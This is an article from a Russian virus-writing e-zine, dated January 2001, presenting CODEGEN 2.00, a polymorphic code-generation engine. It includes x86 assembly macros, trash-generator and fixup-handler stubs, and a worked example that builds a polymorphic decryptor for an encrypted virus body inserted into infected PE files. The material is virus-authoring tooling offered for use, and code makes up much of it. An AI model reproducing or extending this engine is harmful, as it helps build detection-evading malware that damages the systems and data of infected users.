·─T─┌O┐─T─┌A┐L···─Z┐┌0┐┌M┐┌B·i┌F─i┌C─┌A┐─T─i┌O┐┬N┬··························
   │ │ │ │ ├─┤│    / │ ││││├┴┐┬├─ ┬│  ├─┤ │ ┬│ ││└┤  Issue #1, January-2001
 ··│·└─┘·│·│·│└─··└──└─┘│·│└─┘││··│└──│·│·│·│└─┘│·│··························

 ············································································
                               ГЕНЕРАТОР КОДА                     [cg200.zip]
 ············································································

     Представляю  вам улучшенную версию кодогенератора (CODEGEN 2.00). Этот
 движок  позволяет  генерировать  полиморфные команды, выполняющие заданные
 действия  с  переменными в памяти. Применение: генерация метаморфного кода
 либо декрипторов.

     Основные действия (высокий уровень):

        cmd     v, c       ; cmd = mov/cmp/add/sub/xor
        cmd     v1, [v2]   ; v = variable, offset of some DWORD in memory
        cmd     [v1], v2   ; c = const
        cmd     v1, v2

     Каждое  их  этих  действий передает параметры различным низкоуровневым
 (регистровым)  вариантам,  каждый  из которых также имеет разные варианты;
 в результате каждое высокоуровневое действие может быть произведено самыми
 разными способами.

     Например, <cmd v,c> может быть представлено как <mov r,c> и <cmd v,r>,
 где  r  --  случайный  регистр. В свою очередь <mov r,c> можно представить
 как  обычный  mov,  через  push/pop,  или  же  вызвать  рекурсивно,  через
 временный регистр. <cmd v, r> также имеет варианты, например <lea r1, v> и
 <cmd [r1], r>, где r1 -- еще один случайный регистр.

     Необходимый для вызова кодогенератора стафф:

                ; syntax: gen cmd_x_x, cmd_xxx, arg1, arg2
gen             macro   a,b,c,d
                push    d
                push    c
                push    b
                push    a
                call    build
                endm

build:          pusha

                push    dword ptr [esp+32+16]      ; arg2
                push    dword ptr [esp+32+12] +4   ; arg1
                push    dword ptr [esp+32+8]  +8   ; cmd_xxx
                push    dword ptr [esp+32+4]  +12  ; cmd_x_x
                push    offset my_random  ; рандомер
                push    offset my_trash   ; генератор мусора
                push    offset my_fixup   ; обработчик фиксапов
                push    regavail          ; используемые регистры, [REG_xxx]
                push    offset tmp_size   ; DWORD, принимает длину буфера
                push    buf_ptr           ; буфер
                push    user_param        ; юзерский параметр
                call    codegen
                add     esp, 11*4

                mov     eax, tmp_size     ; увеличим указатель
                add     buf_ptr, eax      ; на длину сгенеренных данных

                popa
                retn

                ; используется для генерации мусора между инструкциями
my_trash:       pusha
                mov     ebp, [esp+32+4]   ; юзерский параметр
                mov     edi, [esp+32+8]   ; указатель позиции
                mov     ecx, [esp+32+12]  ; набор используемых регистров
                ...
                mov     al, 90h           ; генерим мусор. здесь вызвать ETG
                stosb
                ...
                mov     [esp+7*4], edi    ; возвращаем измененный указатель
                popa
                retn

                ; используется для обработки оффсетов переменных,
                ; например можно добавить фиксапы в заражаемый PE файл
my_fixup:       pusha
                mov     ebp, [esp+32+4]   ; юзерский параметр
                mov     edi, [esp+32+8]   ; указатель позиции
                mov     eax, [esp+32+12]  ; значение фиксапа
                ...
                stosd                     ; оффсет переменной
                ...
                mov     [esp+7*4], edi    ; возвращаем измененный указатель
                popa
                retn

     И теперь, пример вызова движка: (генерим декриптор)

var_index       =       0C1000000h      ; адреса каких-нибудь временных
var_t           =       0C1000004h      ; переменных в области VMM

        mac1    cmd_v_c, cmd_mov, var_index, 0           ; index=0
        ; cycle:
        mac1    cmd_v_v, cmd_mov, var_t, var_index       ; mov t, index
        mac1    cmd_v_v, cmd_add, var_t, vir_addr        ; add t, vir_addr
        mac1    cmd_memv_v, cmd_xor, var_t, 12345678h    ; xor [t], <key>
        mac1    cmd_v_c, cmd_add, var_index, 4           ; add index, 4
        mac1    cmd_v_c, cmd_cmp, var_index, virsize     ; cmp index, virsize

     Что  есть  что  в  приведенном  примере?  var_index  и  var_t  --  это
 виртуальные  адреса  используемых  переменных,  они  могут  быть  в секции
 данных  заражаемого  файла или где-либо еще; vir_addr -- виртуальный адрес
 зашифрованного вируса в файле; virsize -- длина зашифрованного вируса.
     Таким  образом к сгенеренному декриптору осталось приделать <JB cycle>
 и <JMP NEAR PTR vir_addr>.

 ············································································